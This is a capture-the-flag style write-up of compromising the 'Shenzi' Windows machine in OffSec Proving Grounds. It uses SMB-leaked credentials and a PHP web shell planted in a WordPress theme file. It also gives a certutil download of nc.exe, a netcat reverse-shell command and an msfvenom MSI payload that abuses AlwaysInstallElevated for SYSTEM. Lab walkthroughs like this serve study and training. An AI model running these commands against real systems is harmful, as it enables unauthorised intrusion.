> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/windows/shenzi.md).

# Shenzi

Writeup for Shenzi from offsec Proving Grounds

## Information Gathering

`sudo ./nmapAutomator.sh 192.168.85.55 all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F2JNYheEtZzve4UAtne7N%2Fimage.png?alt=media\&token=63a52fc9-23d0-416b-ada1-4ba404a5f97f)

### Service Enumeration

### SMB (Port 445)

We can list what to see what Sharenames there are.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F7V5ZYkt0jv7Oj1U5cG3H%2Fimage.png?alt=media\&token=51260f6c-3d14-4ff3-bde9-4cc9c0187413)

We can then download all the files to see if there are anything useful.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FLqDeH6nnnuYJRINagb0p%2Fimage.png?alt=media\&token=0c2accb0-e861-4ac2-9d38-a5b1b33187d8)

Passwords.txt contains many credentials which we can save for later.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FSaDZJW5OchK7U6XWu0KK%2Fimage.png?alt=media\&token=7e9abb89-72f6-47c6-9626-080daff4a204)

Notice that there are WordPress credentials. We can thus run `gobuster` on the webserver to see if there are any interesting directories.

### HTTP (Port 80)

It looks like a basic XAMPP server.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FxrR8mBQgDcBUaP5zy8E1%2Fimage.png?alt=media\&token=78393c1c-c036-488d-b124-d063e5bc5bd1)

We can run `gobuster`.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fep1VYIysSe4NCIPYwAhW%2Fimage.png?alt=media\&token=7b79cec2-745d-4917-a5c2-65773dbc3687)

There is a `phpmyadmin` directory but we can't really access it.

After more digging and clever brute-forcing, I tried `/Shenzi` directory and we get this page.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FYAl5DnfesnU8DntLNipz%2Fimage.png?alt=media\&token=3151f864-4bd7-4114-a8bd-ab42159b7253)

Since we know this is a WordPress site, we can try the /wp-admin/ directory and we get this login page.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F9sly3j2RvnTXsZfJwy4h%2Fimage.png?alt=media\&token=e3f4ec79-3306-41ae-8955-439903b7f4c0)

From our earlier enumeration of SMB service, we know that the login credentials are `admin:FeltHeadwallWight357`. We try using these credentials, and we are authenticated.

## Exploit

Here, we can navigate to`Theme Editor` under the `Appearance` tab. In this tab, we are able to modify PHP code.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FZp1cfz51H1SNAIX2V80O%2Fimage.png?alt=media\&token=31943c74-94c4-4bf5-8004-a46f210fc6a9)

We copy and paste the source code from here, <https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php>, to the `404.php` file. This would allow us to have access to a web shell whenever we get a 404 error on this site, or if we navigate to `404.php`.&#x20;

Then, we navigate to `/404.php` or any other directory that doesn't exist, and we get our web shell.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FpaMmH25mspsz5KJ0FqrK%2Fimage.png?alt=media\&token=a4ee41c0-8682-41f9-bb0d-2c3b73d80f15)

Next, let's transfer `nc.exe` to the target machine so that we can use it to gain a reverse shell.

`cmd.exe /c certutil -urlcache -split -f http://192.168.49.85:80/opt/windows_nc/nc.exe nc.exe`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FVaVCV8ms2nueds1Y9C8u%2Fimage.png?alt=media\&token=abc1febf-e446-4dca-bed8-3f58d5263608)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FbxJveedZONdPR0TGZsfm%2Fimage.png?alt=media\&token=6d916735-48e4-4721-b780-699e4767a227)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FyN5yu2LDA8caC5iFVGuD%2Fimage.png?alt=media\&token=ddea9ef1-babd-4de2-9ca3-f6f94e72a270)

Next, let's get a reverse shell.

We use the following command in our PHP Web Shell:

`nc.exe -e cmd 192.168.49.85 443`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FixUi4nY2LE2gFuKqAenA%2Fimage.png?alt=media\&token=b00f649b-3c9e-4e25-b751-449c682c78a0)

## Privesc

Next, we can transfer winPEAS onto the target machine and run it.

From winPEAS, we notice these 2 registers are **enabled** (value is **0x1**). This means users of any privilege can **install** (execute) **`*.msi`** files as NT AUTHORITY\\**SYSTEM**.

Credits - <https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated>&#x20;

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FAxw40vkCfpxr4Dty0Z36%2Fimage.png?alt=media\&token=142118f5-4ba3-46d8-aea0-c72c9bf7575b)

Let's generate a `.msi` reverse shell file first.

`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.85 LPORT=21 -f msi > ~/pg/shenzi/shell.msi`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fcqm1iCWGZgZkoIIdb3yx%2Fimage.png?alt=media\&token=d1509320-ae7e-43cf-b4b1-763e877aa4fc)

After transferring the file and running it, we get SYSTEM.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F7li4S9W5ze4upyNHJJ07%2Fimage.png?alt=media\&token=fb825dd4-be5a-452f-af9f-4928e029ba77)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FVuV5ji9fIDkoZW4YPND9%2Fimage.png?alt=media\&token=f7293edd-f2a5-4033-b388-6efbbb5e981a)